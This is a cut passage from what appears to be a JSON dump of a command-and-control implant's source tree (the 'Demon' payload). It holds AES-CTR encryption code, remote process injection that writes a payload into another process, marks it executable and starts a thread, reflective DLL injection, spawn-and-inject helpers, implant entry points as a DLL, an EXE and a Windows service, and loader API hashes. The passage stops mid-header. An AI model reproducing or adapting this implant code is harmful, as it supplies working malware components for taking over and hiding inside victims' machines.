0x4b, 0xbd, 0x8b, 0x8a,\n        0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,\n        0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,\n        0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 };\n\nstatic const UINT8 Rcon[11] = {\n        0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 };\n\n#define getSBoxValue(num) (sbox[(num)])\n\nvoid KeyExpansion(UINT8* RoundKey, const UINT8* Key)\n{\n    unsigned i, j, k;\n    UINT8 tempa[4];\n\n    for (i = 0; i < Nk; ++i)\n    {\n        RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];\n        RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];\n        RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];\n        RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];\n    }\n\n    for (i = Nk; i < Nb * (Nr + 1); ++i)\n    {\n        {\n            k = (i - 1) * 4;\n            tempa[0]=RoundKey[k + 0];\n            tempa[1]=RoundKey[k + 1];\n            tempa[2]=RoundKey[k + 2];\n            tempa[3]=RoundKey[k + 3];\n\n        }\n\n        if (i % Nk == 0)\n        {\n            const UINT8 u8tmp = tempa[0];\n            tempa[0] = tempa[1];\n            tempa[1] = tempa[2];\n            tempa[2] = tempa[3];\n            tempa[3] = u8tmp;\n\n            tempa[0] = getSBoxValue(tempa[0]);\n            tempa[1] = getSBoxValue(tempa[1]);\n            tempa[2] = getSBoxValue(tempa[2]);\n            tempa[3] = getSBoxValue(tempa[3]);\n\n            tempa[0] = tempa[0] ^ Rcon[i/Nk];\n        }\n\n        if (i % Nk == 4)\n        {\n            tempa[0] = getSBoxValue(tempa[0]);\n            tempa[1] = getSBoxValue(tempa[1]);\n            tempa[2] = getSBoxValue(tempa[2]);\n            tempa[3] = getSBoxValue(tempa[3]);\n        }\n\n        j = i * 4; k=(i - Nk) * 4;\n        RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];\n        RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];\n        RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];\n        RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];\n    }\n}\n\nvoid AesInit( PAESCTX ctx, const PUINT8 key, const PUINT8 iv)\n{\n  KeyExpansion( ctx->RoundKey, key );\n  MemCopy( ctx->Iv, iv, AES_BLOCKLEN );\n}\n\n// This function adds the round key to state.\n// The round key is added to the state by an XOR function.\nstatic void AddRoundKey(UINT8 round, state_t* state, const UINT8* RoundKey)\n{\n    UINT8 i,j;\n    for (i = 0; i < 4; ++i)\n    {\n        for (j = 0; j < 4; ++j)\n        {\n            (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];\n        }\n    }\n}\n\n// The SubBytes Function Substitutes the values in the\n// state matrix with values in an S-box.\nstatic void SubBytes(state_t* state)\n{\n    UINT8 i, j;\n    for (i = 0; i < 4; ++i)\n    {\n        for (j = 0; j < 4; ++j)\n        {\n            (*state)[j][i] = getSBoxValue((*state)[j][i]);\n        }\n    }\n}\n\n// The ShiftRows() function shifts the rows in the state to the left.\n// Each row is shifted with different offset.\n// Offset = Row number. So the first row is not shifted.\nstatic void ShiftRows(state_t* state)\n{\n    UINT8 temp;\n\n    // Rotate first row 1 columns to left\n    temp           = (*state)[0][1];\n    (*state)[0][1] = (*state)[1][1];\n    (*state)[1][1] = (*state)[2][1];\n    (*state)[2][1] = (*state)[3][1];\n    (*state)[3][1] = temp;\n\n    // Rotate second row 2 columns to left\n    temp           = (*state)[0][2];\n    (*state)[0][2] = (*state)[2][2];\n    (*state)[2][2] = temp;\n\n    temp           = (*state)[1][2];\n    (*state)[1][2] = (*state)[3][2];\n    (*state)[3][2] = temp;\n\n    // Rotate third row 3 columns to left\n    temp           = (*state)[0][3];\n    (*state)[0][3] = (*state)[3][3];\n    (*state)[3][3] = (*state)[2][3];\n    (*state)[2][3] = (*state)[1][3];\n    (*state)[1][3] = temp;\n}\n\nstatic UINT8 xtime(UINT8 x)\n{\n    return ((x<<1) ^ (((x>>7) & 1) * 0x1b));\n}\n\n// MixColumns function mixes the columns of the state matrix\nstatic void MixColumns(state_t* state)\n{\n    UINT8 i;\n    UINT8 Tmp, Tm, t;\n    for (i = 0; i < 4; ++i)\n    {\n        t   = (*state)[i][0];\n        Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;\n        Tm  = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm);  (*state)[i][0] ^= Tm ^ Tmp ;\n        Tm  = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm);  (*state)[i][1] ^= Tm ^ Tmp ;\n        Tm  = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm);  (*state)[i][2] ^= Tm ^ Tmp ;\n        Tm  = (*state)[i][3] ^ t ;              Tm = xtime(Tm);  (*state)[i][3] ^= Tm ^ Tmp ;\n    }\n}\n\n// Cipher is the main function that encrypts the PlainText.\nstatic void Cipher(state_t* state, const UINT8* RoundKey) // Main\n{\n    UINT8 round = 0;\n\n    // Add the First round key to the state before starting the rounds.\n    AddRoundKey(0, state, RoundKey);\n\n    // There will be Nr rounds.\n    // The first Nr-1 rounds are identical.\n    // These Nr rounds are executed in the loop below.\n    // Last one without MixColumns()\n    for (round = 1; ; ++round)\n    {\n        SubBytes(state);\n        ShiftRows(state);\n        if (round == Nr) {\n            break;\n        }\n        MixColumns(state);\n        AddRoundKey(round, state, RoundKey);\n    }\n    // Add round key to last round\n    AddRoundKey(Nr, state, RoundKey);\n}\n\n#if defined(CTR) && (CTR == 1)\n\nvoid AesXCryptBuffer( PAESCTX ctx, PUINT8 buf, SIZE_T length)\n{\n    UINT8 buffer[AES_BLOCKLEN];\n\n    size_t i;\n    int bi;\n    for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi)\n    {\n        if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */\n        {\n            MemCopy(buffer, ctx->Iv, AES_BLOCKLEN);\n            Cipher((state_t*)buffer,ctx->RoundKey);\n\n            for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi)\n            {\n                if (ctx->Iv[bi] == 255)\n\t            {\n                    ctx->Iv[bi] = 0;\n                    continue;\n                }\n                ctx->Iv[bi] += 1;\n                break;\n            }\n            bi = 0;\n        }\n        buf[i] = (buf[i] ^ buffer[bi]);\n  }\n}\n\n#endif"
  },
  {
    "path": "payloads/Demon/src/inject/Inject.c",
    "content": "#include <Demon.h>\n#include <ntstatus.h>\n\n#include <core/Win32.h>\n#include <core/Package.h>\n#include <core/MiniStd.h>\n#include <inject/Inject.h>\n#include <inject/InjectUtil.h>\n#include <common/Macros.h>\n#include <common/Defines.h>\n\n/*!\n * Inject code into a remote process\n *\n * @param Method    thread execution method.\n * @param Handle    opened handle to the remote process.\n * @param Pid       if no handle has been provided than open the process using the Pid\n * @param x64       payload architecture (only x64/x86 supported).\n * @param Payload   payload buffer to inject\n * @param Size      payload buffer size to inject\n * @param Offset    execution entrypoint offset (can be used to specify the ReflectiveLoader function)\n * @param Argv      Argument buffer to pass to the injected code\n * @param Argc      Argument buffer size to pass to the injected code\n *\n * @return returns a INJECTION_ERROR_? status\n */\nDWORD Inject(\n    IN BYTE   Method,\n    IN HANDLE Handle,\n    IN DWORD  Pid,\n    IN BOOL   x64,\n    IN PVOID  Payload,\n    IN SIZE_T Size,\n    IN UINT64 Offset,\n    IN PVOID  Argv,\n    IN SIZE_T Argc\n) {\n    DWORD  Status  = INJECT_ERROR_FAILED;\n    DWORD  Tid     = 0;\n    HANDLE Process = NULL;\n    HANDLE Thread  = NULL;\n    PVOID  Memory  = NULL;\n    PVOID  Param   = NULL;\n    BOOL   IsWow64 = FALSE;\n\n    /* check if required params have been specified */\n    if ( ( ( ! Handle ) && ( ! Pid ) ) || ( ( ! Payload ) && ( ! Size ) ) ) {\n        return INJECT_ERROR_INVALID_PARAM;\n    }\n\n    /* set the process handle */\n    Process = Handle;\n\n    /* if no handle has been specified then get process handle by Pid */\n    if ( ! Process ) {\n        if ( ( Process = ProcessOpen( Pid, PROCESS_ALL_ACCESS ) ) == NULL ) {\n            PRINTF( \"[INJECT] Failed to open process handle: %d\\n\", NtGetLastError() )\n            Process = NULL;\n            goto END;\n        } else {\n            PRINTF( \"[INJECT] Opened process handle to %d: %x\\n\", Pid, Process )\n        }\n    } else {\n        PRINTF( \"[INJECT] Using specified process handle: %x\\n\", Process )\n    }\n\n    /* check the architecture matches */\n    if ( x64 && Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) {\n        PUTS( \"The OS is x86!\" )\n        Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH;\n        goto END;\n    }\n\n    IsWow64 = ProcessIsWow( Process );\n\n    if ( x64 && IsWow64 ) {\n        PUTS( \"The process target process is x86!\" )\n        Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH;\n        goto END;\n    } else if ( ! x64 && Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_AMD64 && ! IsWow64 ) {\n        PUTS( \"The process target process is x64!\" )\n        Status = INJECT_ERROR_PROCESS_ARCH_MISMATCH;\n        goto END;\n    }\n\n    /* allocate memory in the remote process */\n    if ( ! ( Memory = MmVirtualAlloc( DX_MEM_DEFAULT, Process, Size, PAGE_READWRITE ) ) ) {\n        PUTS( \"[INJECT] Failed allocating memory in remote process\" )\n        goto END;\n    } else {\n        PRINTF( \"[INJECT] Allocated memory in the remote process: %p\\n\", Memory )\n    }\n\n    /* write payload into remote process memory */\n    if ( ! ( MmVirtualWrite( Process, Memory, Payload, Size ) ) ) {\n        PUTS( \"[INJECT] Failed to write payload into remote process\" )\n        goto END;\n    } else {\n        PRINTF( \"[INJECT] Wrote payload into remote process: %d written\\n\", Size )\n    }\n\n    /* change allocated memory from RW to RX */\n    if ( ! ( MmVirtualProtect( DX_MEM_SYSCALL, Process, Memory, Size, PAGE_EXECUTE_READ ) ) ) {\n        PUTS( \"[INJECT] Failed to change memory protection\" )\n        goto END;\n    } else {\n        PUTS( \"[INJECT] Changed memory protection from RW to RX\" )\n    }\n\n    /* check if any args has been specified */\n    if ( Argv && ( Argc > 0 ) )\n    {\n        /* allocate memory in the remote process */\n        if ( ! ( Param = MmVirtualAlloc( DX_MEM_DEFAULT, Process, Argc, PAGE_READWRITE ) ) ) {\n            PUTS( \"[INJECT] Failed allocating argument memory in remote process\" )\n            goto END;\n        } else {\n            PRINTF( \"[INJECT] Allocated argument memory in the remote process: %p\\n\", Param )\n        }\n\n        /* write payload into remote process memory */\n        if ( ! ( MmVirtualWrite( Process, Param, Argv, Argc ) ) ) {\n            PUTS( \"[INJECT] Failed to write argument into remote process\" )\n            goto END;\n        } else {\n            PRINTF( \"[INJECT] Wrote argument into remote process: %d written\\n\", Argc )\n        }\n    }\n\n    /* create new thread in remote process */\n    if ( ( Thread = ThreadCreate( Method, Process, x64, C_PTR( Memory + Offset ), Param, &Tid ) ) ) {\n        Status = INJECT_ERROR_SUCCESS;\n        PRINTF( \"[INJECT] Successful injected code into remote process: [Tid: %d]\\n\", Tid );\n    } else {\n        PRINTF( \"[INJECT] Failed to create a new thread: %d\\n\", NtGetLastError() )\n    }\n\nEND:\n    PUTS( \"[INJECT] End of function. Cleanup start now\" )\n\n    /* if we failed to inject the lets free up allocated memory */\n    if ( Status == INJECT_ERROR_FAILED )\n    {\n        /* free allocated payload */\n        if ( Memory ) {\n            MmVirtualFree( Process, Memory );\n            Memory = NULL;\n        }\n\n        /* free allocated param */\n        if ( Param ) {\n            MmVirtualFree( Process, Param );\n            Param = NULL;\n        }\n    }\n\n    /* only close process handle if it wasn't passed to the function */\n    if ( Process && ! Handle ) {\n        SysNtClose( Process );\n        Process = NULL;\n    }\n\n    /* close thread handle */\n    if ( Thread ) {\n        SysNtClose( Thread );\n        Thread = NULL;\n    }\n\n    return Status;\n}\n\nDWORD DllInjectReflective( HANDLE hTargetProcess, LPVOID DllLdr, DWORD DllLdrSize, LPVOID DllBuffer, DWORD DllLength, PVOID Parameter, SIZE_T ParamSize, PINJECTION_CTX ctx )\n{\n    PRINTF( \"DllInjectReflective( %x, %x, %d, %x )\\n\", hTargetProcess, DllBuffer, DllLength, ctx );\n\n    NTSTATUS NtStatus            = STATUS_SUCCESS;\n    LPVOID   MemParamsBuffer     = NULL;\n    LPVOID   MemLibraryBuffer    = NULL;\n    LPVOID   ReflectiveLdr       = NULL;\n    LPVOID   FullDll             = NULL;\n    LPVOID   MemRegion           = NULL;\n    DWORD    MemRegionSize       = 0;\n    DWORD    ReflectiveLdrOffset = 0;\n    ULONG    FullDllSize         = 0;\n    BOOL     HasRDll             = FALSE;\n    DWORD    ReturnValue         = 0;\n    SIZE_T   BytesWritten        = 0;\n    BOOL     x64                 = Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ? FALSE : TRUE;\n\n    if( ! DllBuffer || ! DllLength || ! hTargetProcess )\n    {\n        PUTS( \"Params == NULL\" )\n        ReturnValue = -1;\n        goto Cleanup;\n    }\n\n    if ( ProcessIsWow( hTargetProcess ) ) // check if remote process x86\n    {\n        x64 = FALSE;\n        if ( GetPeArch( DllBuffer ) != PROCESS_ARCH_X86 ) // check if dll is x64\n        {\n            PUTS( \"[ERROR] trying to inject a x64 payload into a x86 process. ABORT\" );\n            return ERROR_INJECT_PROC_PAYLOAD_ARCH_DONT_MATCH_X64_TO_X86;\n        }\n    }\n    else\n    {\n        if ( GetPeArch( DllBuffer ) != PROCESS_ARCH_X64 ) // check if dll is x64\n        {\n            PUTS( \"[ERROR] trying to inject a x86 payload into a x64 process. ABORT\" );\n            return ERROR_INJECT_PROC_PAYLOAD_ARCH_DONT_MATCH_X86_TO_X64;\n        }\n    }\n\n    if ( ( ReflectiveLdrOffset = GetReflectiveLoaderOffset( DllBuffer ) ) ) {\n        PUTS( \"The DLL has a Reflective Loader already defined\" );\n        HasRDll     = TRUE;\n        FullDll     = DllBuffer;\n        FullDllSize = DllLength;\n    } else {\n        PUTS( \"The DLL does not have a Reflective Loader defined, using KaynLdr\" );\n        HasRDll     = FALSE;\n        FullDll     = Instance->Win32.LocalAlloc( LPTR, DllLdrSize + DllLength );\n        FullDllSize = DllLdrSize + DllLength;\n        MemCopy( FullDll, DllLdr, DllLdrSize );\n        MemCopy( FullDll + DllLdrSize, DllBuffer, DllLength );\n    }\n\n    PRINTF( \"Reflective Loader Offset => %x\\n\", ReflectiveLdrOffset );\n\n    // Alloc and write remote params\n    PRINTF( \"Params: Size:[%d] Pointer:[%p]\\n\", ParamSize, Parameter )\n    if ( ParamSize > 0 )\n    {\n        MemParamsBuffer = MmVirtualAlloc( DX_MEM_DEFAULT, hTargetProcess, ParamSize, PAGE_READWRITE );\n        if ( MemParamsBuffer )\n        {\n            PRINTF( \"MemoryAlloc: Success allocated memory for parameters: ptr:[%p]\\n\", MemParamsBuffer )\n            NtStatus = SysNtWriteVirtualMemory( hTargetProcess, MemParamsBuffer, Parameter, ParamSize, &BytesWritten );\n            if ( ! NT_SUCCESS( NtStatus ) )\n            {\n                PUTS( \"NtWriteVirtualMemory: Failed to write memory for parameters\" )\n                PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n                ReturnValue = NtStatus;\n                goto Cleanup;\n            }\n            else\n                PUTS( \"Successful wrote params into remote library memory\" );\n        }\n        else\n        {\n            PUTS( \"NtAllocateVirtualMemory: Failed to allocate memory for parameters\" )\n            PackageTransmitError( CALLBACK_ERROR_WIN32, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n            ReturnValue = -1;\n            goto Cleanup;\n        }\n    }\n\n    // Alloc and write remote library\n    MemLibraryBuffer = MmVirtualAlloc( DX_MEM_DEFAULT, hTargetProcess, FullDllSize, PAGE_READWRITE );\n    if ( MemLibraryBuffer )\n    {\n        PUTS( \"[+] NtAllocateVirtualMemory: success\" );\n        if ( NT_SUCCESS( NtStatus = SysNtWriteVirtualMemory( hTargetProcess, MemLibraryBuffer, FullDll, FullDllSize, &BytesWritten ) ) )\n        {\n            // TODO: check to get the .text section and size of it\n            PRINTF( \"[+] NtWriteVirtualMemory: success: ptr[%p]\\n\", MemLibraryBuffer );\n\n            ReflectiveLdr = RVA( LPVOID, MemLibraryBuffer, ReflectiveLdrOffset );\n            MemRegion     = MemLibraryBuffer - ( ( ( UINT_PTR ) MemLibraryBuffer ) % 8192 );    // size of shellcode? change it to rx\n            MemRegionSize = 16384;\n            BytesWritten    = 0;\n\n            // NtStatus = Instance->Win32.NtProtectVirtualMemory( hTargetProcess, &MemRegion, &MemRegionSize, PAGE_EXECUTE_READ, &OldProtect );\n            if ( MmVirtualProtect( DX_MEM_SYSCALL, hTargetProcess, MemRegion, MemRegionSize, PAGE_EXECUTE_READ ) )\n            {\n                ctx->Parameter = MemParamsBuffer;\n                PRINTF( \"ctx->Parameter: %p\\n\", ctx->Parameter )\n\n                if ( ! ThreadCreate( THREAD_METHOD_NTCREATEHREADEX, hTargetProcess, x64, ReflectiveLdr, MemParamsBuffer, NULL ) )\n                {\n                    PRINTF( \"[-] Failed to inject dll %d\\n\", NtGetLastError() )\n                    PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n                    ReturnValue = -1;\n                    goto Cleanup;\n                }\n\n                ReturnValue = 0;\n                goto Cleanup;\n            }\n            else\n            {\n                PUTS(\"[-] NtProtectVirtualMemory: failed\")\n                PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() );\n                ReturnValue = -1;\n                goto Cleanup;\n            }\n        }\n        else\n        {\n            PRINTF( \"NtWriteVirtualMemory: Failed to write memory for library [%x]\\n\", NtStatus )\n            PackageTransmitError( 0x1, Instance->Win32.RtlNtStatusToDosError( NtStatus ) );\n            ReturnValue = NtStatus;\n            goto Cleanup;\n        }\n    }\n\n    PRINTF( \"Failed to allocate memory: %d\\n\", NtGetLastError() )\n    ReturnValue = -1;\n\nCleanup:\n    if ( ! HasRDll && FullDll )\n    {\n        MemSet( FullDll, 0, FullDllSize );\n        MmHeapFree( FullDll );\n        FullDll = NULL;\n    }\n\n    return ReturnValue;\n}\n\nDWORD DllSpawnReflective( LPVOID DllLdr, DWORD DllLdrSize, LPVOID DllBuffer, DWORD DllLength, PVOID Parameter, SIZE_T ParamSize, PINJECTION_CTX ctx )\n{\n    PRINTF( \"Params( %x, %d, %x )\\n\", DllBuffer, DllLength, ctx );\n\n    PROCESS_INFORMATION ProcessInfo = { 0 };\n    PWCHAR              SpawnProc   = NULL;\n    DWORD               Result      = 0;\n\n    if ( GetPeArch( DllBuffer ) == PROCESS_ARCH_X86 ) // check if dll is x64\n        SpawnProc = Instance->Config.Process.Spawn86;\n    else\n        SpawnProc = Instance->Config.Process.Spawn64;\n\n    /* Meh this is the default */\n    Result = ERROR_INJECT_FAILED_TO_SPAWN_TARGET_PROCESS;\n\n    if ( ProcessCreate( TRUE, NULL, SpawnProc, CREATE_NO_WINDOW | CREATE_SUSPENDED, &ProcessInfo, TRUE, NULL ) )\n    {\n        Result = DllInjectReflective( ProcessInfo.hProcess, DllLdr, DllLdrSize, DllBuffer, DllLength, Parameter, ParamSize, ctx );\n        if ( Result != 0 )\n        {\n            PUTS( \"Failed\" )\n            ProcessTerminate( ProcessInfo.hProcess, 0 );\n            SysNtClose( ProcessInfo.hProcess );\n            SysNtClose( ProcessInfo.hThread );\n        }\n    }\n\n    return Result;\n}\n"
  },
  {
    "path": "payloads/Demon/src/inject/InjectUtil.c",
    "content": "#include <Demon.h>\n\n#include <core/MiniStd.h>\n#include <core/Package.h>\n#include <inject/InjectUtil.h>\n#include <common/Defines.h>\n\n#ifndef _WIN32\ntypedef ULONG NTSTATUS;\n#endif\n\nDWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )\n{\n    PIMAGE_SECTION_HEADER   ImageSectionHeader;\n    PIMAGE_NT_HEADERS       ImageNtHeaders;\n\n    ImageNtHeaders     = RVA( PIMAGE_NT_HEADERS, uiBaseAddress, ( ( PIMAGE_DOS_HEADER ) uiBaseAddress )->e_lfanew );\n    ImageSectionHeader = RVA( PIMAGE_SECTION_HEADER, &ImageNtHeaders->OptionalHeader, ImageNtHeaders->FileHeader.SizeOfOptionalHeader );\n\n    if ( dwRva < ImageSectionHeader[ 0 ].PointerToRawData )\n        return dwRva;\n\n    for ( WORD wIndex = 0; wIndex < ImageNtHeaders->FileHeader.NumberOfSections; wIndex++ )\n    {\n        DWORD VirtualAddress = ImageSectionHeader[ wIndex ].VirtualAddress;\n\n        if ( dwRva >= VirtualAddress && dwRva < ( VirtualAddress + ImageSectionHeader[ wIndex ].SizeOfRawData ) )\n        {\n            return ( dwRva - VirtualAddress + ImageSectionHeader[ wIndex ].PointerToRawData );\n        }\n    }\n\n    return 0;\n}\n\nDWORD GetReflectiveLoaderOffset( PVOID ReflectiveLdrAddr )\n{\n    PIMAGE_NT_HEADERS       NtHeaders           = NULL;\n    PIMAGE_EXPORT_DIRECTORY ExportDir           = NULL;\n    UINT_PTR                AddrOfNames         = 0;\n    UINT_PTR                AddrOfFunctions     = 0;\n    UINT_PTR                AddrOfNameOrdinals  = 0;\n    DWORD                   FunctionCounter     = 0;\n    PCHAR                   FunctionName        = NULL;\n\n    NtHeaders           = RVA( PIMAGE_NT_HEADERS, ReflectiveLdrAddr, ( ( PIMAGE_DOS_HEADER ) ReflectiveLdrAddr )->e_lfanew );\n    ExportDir           = ReflectiveLdrAddr + Rva2Offset( NtHeaders->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress, ReflectiveLdrAddr );\n    AddrOfNames         = ReflectiveLdrAddr + Rva2Offset( ExportDir->AddressOfNames, ReflectiveLdrAddr );\n    AddrOfNameOrdinals  = ReflectiveLdrAddr + Rva2Offset( ExportDir->AddressOfNameOrdinals, ReflectiveLdrAddr );\n    FunctionCounter     = ExportDir->NumberOfNames;\n\n    while ( FunctionCounter-- )\n    {\n        FunctionName = ( PCHAR )( ReflectiveLdrAddr + Rva2Offset( DEREF_32( AddrOfNames ), ReflectiveLdrAddr ) );\n        //                                  ReflectiveLoader                             KaynLoader\n        if ( HashStringA( FunctionName ) == 0xa6caa1c5 || HashStringA( FunctionName ) == 0xffe885ef )\n        {\n            PRINTF( \"FunctionName => %s\\n\", FunctionName );\n            AddrOfFunctions =   ReflectiveLdrAddr + Rva2Offset( ExportDir->AddressOfFunctions, ReflectiveLdrAddr );\n            AddrOfFunctions +=  ( DEREF_16( AddrOfNameOrdinals ) * sizeof( DWORD ) );\n\n            return Rva2Offset( DEREF_32( AddrOfFunctions ), ReflectiveLdrAddr );\n        }\n\n        AddrOfNames        += sizeof( DWORD );\n        AddrOfNameOrdinals += sizeof( WORD );\n    }\n\n    return 0;\n}\n\nDWORD GetPeArch( PVOID PeBytes )\n{\n    PIMAGE_NT_HEADERS NtHeader = NULL;\n    DWORD             DllArch  = PROCESS_ARCH_UNKNOWN;\n\n    if( ! PeBytes ) {\n        return DllArch;\n    }\n\n    NtHeader = ( PIMAGE_NT_HEADERS ) ( ( ( UINT_PTR ) PeBytes ) + ( ( PIMAGE_DOS_HEADER ) PeBytes )->e_lfanew );\n\n    if ( NtHeader->OptionalHeader.Magic == 0x010B ) {\n        DllArch = PROCESS_ARCH_X86;\n    } else if ( NtHeader->OptionalHeader.Magic == 0x020B ) {\n        DllArch = PROCESS_ARCH_X64;\n    }\n\n    return DllArch;\n}\n"
  },
  {
    "path": "payloads/Demon/src/main/MainDll.c",
    "content": "#include <Demon.h>\n\n#include <common/Defines.h>\n\n#ifndef SHELLCODE\n/* Export this for rundll32 or any other program that requires and exported functions...\n * TODO: make this function name optional/changeable in the payload generator.*/\nDLLEXPORT VOID Start(  )\n{\n    /* prevent exiting if started using rundll32 or something */\n    PVOID Kernel32  = LdrModulePeb( H_MODULE_KERNEL32 );\n    VOID ( WINAPI *DoSleep ) (\n        DWORD\n    ) = LdrFunctionAddr( Kernel32, H_FUNC_SLEEP );\n\n    // calling sleep lowers the CPU consumed in this loop\n    while ( TRUE ) {\n        DoSleep( 24 * 60 * 60 * 1000 );\n    }\n}\n#endif\n\n/* this is our entrypoint for the Dll (also for shellcode) */\nDLLEXPORT BOOL WINAPI DllMain(\n    IN     HINSTANCE hDllBase,\n    IN     DWORD     Reason,\n    _Inout_ LPVOID    Reserved\n) {\n    PVOID Kernel32 = NULL;\n\n    if ( Reason == DLL_PROCESS_ATTACH )\n    {\n\n#if !defined(SHELLCODE) && defined(DEBUG)\n        /* if the dll is compiled in debug mode start a console to write our debug prints to */\n        AllocConsole();\n        freopen( \"CONOUT$\", \"w\", stdout );\n#endif\n\n#ifdef SHELLCODE\n        /* we dont need to make a new thread since we get loaded by our shellcode */\n        DemonMain( hDllBase, Reserved );\n#else\n        /* if we don't compile for the shellcode then start a new thread.\n         * why? because if not then we get an ERROR_INVALID_STATE from WinHttpSendRequest\n         * because we can't make HTTP requests in DllMain which seems that WinHTTP doesn't like */\n        Kernel32 = LdrModulePeb( H_MODULE_KERNEL32 );\n        HANDLE ( WINAPI *NewThread ) (\n                LPSECURITY_ATTRIBUTES,\n                SIZE_T,\n                LPTHREAD_START_ROUTINE,\n                LPVOID,\n                DWORD,\n                LPDWORD\n        ) = LdrFunctionAddr( Kernel32, H_FUNC_CREATETHREAD ); /* you can load another function here using\n                                                                 * LdrModulePeb or LdrModuleLoad then LdrFunctionAddr */\n\n        NewThread( NULL, 0, C_PTR( DemonMain ), hDllBase, 0, NULL );\n#endif\n        return TRUE;\n    }\n\n    return FALSE;\n}"
  },
  {
    "path": "payloads/Demon/src/main/MainExe.c",
    "content": "#include <Demon.h>\n\nINT WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nShowCmd )\n{\n    PRINTF( \"WinMain: hInstance:[%p] hPrevInstance:[%p] lpCmdLine:[%s] nShowCmd:[%d]\\n\", hInstance, hPrevInstance, lpCmdLine, nShowCmd )\n    DemonMain( NULL, NULL );\n    return 0;\n}\n"
  },
  {
    "path": "payloads/Demon/src/main/MainSvc.c",
    "content": "#include <Demon.h>\n\n/* Service handle and status variable */\nSERVICE_STATUS_HANDLE StatusHandle = { 0 };\nSERVICE_STATUS        SvcStatus    = {\n    .dwServiceType      = SERVICE_WIN32,\n    .dwCurrentState     = SERVICE_START_PENDING,\n    .dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN,\n};\n\n/* Service Functions */\nVOID WINAPI SvcMain( DWORD dwArgc, LPTSTR* Argv );\nVOID WINAPI SrvCtrlHandler( DWORD CtrlCode );\n\n/* Our entrypoint for Windows service executable. */\nINT WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nShowCmd )\n{\n    PRINTF( \"WinMain (Service Main): hInstance:[%p]\\n\", hInstance )\n\n    SERVICE_TABLE_ENTRY DispatchTable[ ] = {\n        { SERVICE_NAME, SvcMain },\n        { NULL, NULL }\n    };\n\n    StartServiceCtrlDispatcherA( DispatchTable );\n\n    return 0;\n}\n\n/* Service executable entrypoint */\nVOID WINAPI SvcMain( DWORD dwArgc, LPTSTR* Argv )\n{\n    StatusHandle = RegisterServiceCtrlHandlerA( SERVICE_NAME, SrvCtrlHandler );\n    if ( ! StatusHandle )\n        return;\n\n    /* start our agent */\n    DemonMain( NULL, NULL );\n}\n\nVOID WINAPI SrvCtrlHandler( DWORD CtrlCode )\n{\n    /* if we get any kind of exit code then it's time to say goodbye */\n    if ( ( CtrlCode == SERVICE_CONTROL_STOP ) || ( CtrlCode == SERVICE_CONTROL_SHUTDOWN ) )\n    {\n        SvcStatus.dwWin32ExitCode = 0;\n        SvcStatus.dwCurrentState  = SERVICE_STOPPED;\n\n        SetServiceStatus( StatusHandle, &SvcStatus );\n    }\n}"
  },
  {
    "path": "payloads/DllLdr/Include/Core.h",
    "content": "\n#include <windows.h>\n#include <Macro.h>\n\n#define NTDLL_HASH                      0x70e61753\n\n#define SYS_LDRLOADDLL                  0x9e456a43\n#define SYS_NTALLOCATEVIRTUALMEMORY     0xf783b8ec\n#define SYS_NTPROTECTEDVIRTUALMEMORY    0x50e92888\n#define SYS_NTFLUSHINSTRUCTIONCACHE     0x6269b87f\n\n#define DLLEXPORT                       __declspec( dllexport )\n#define NAKED                           __declspec( naked )\n#define FORCE_INLINE                    __forceinline\n#define WIN32_FUNC( x )                 __typeof__( x ) * x;\n\n#define U_PTR( x )                      ( ( UINT_PTR ) x )\n#define C_PTR( x )                      ( ( LPVOID ) x )\n#define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva)\n\n#define DLL_QUERY_HMODULE   6\n\n#ifdef _WIN64\n#define IMAGE_REL_TYPE IMAGE_REL_BASED_DIR64\n#else\n#define IMAGE_REL_TYPE IMAGE_REL_BASED_HIGHLOW\n#endif\n\ntypedef struct\n{\n    USHORT Length;\n    USHORT MaximumLength;\n    PWSTR  Buffer;\n} U_STRING, *PU_STRING;\n\ntypedef struct\n{\n    struct\n    {\n        UINT_PTR Ntdll;\n    } Modules;\n\n    struct {\n        NTSTATUS ( NTAPI *LdrLoadDll 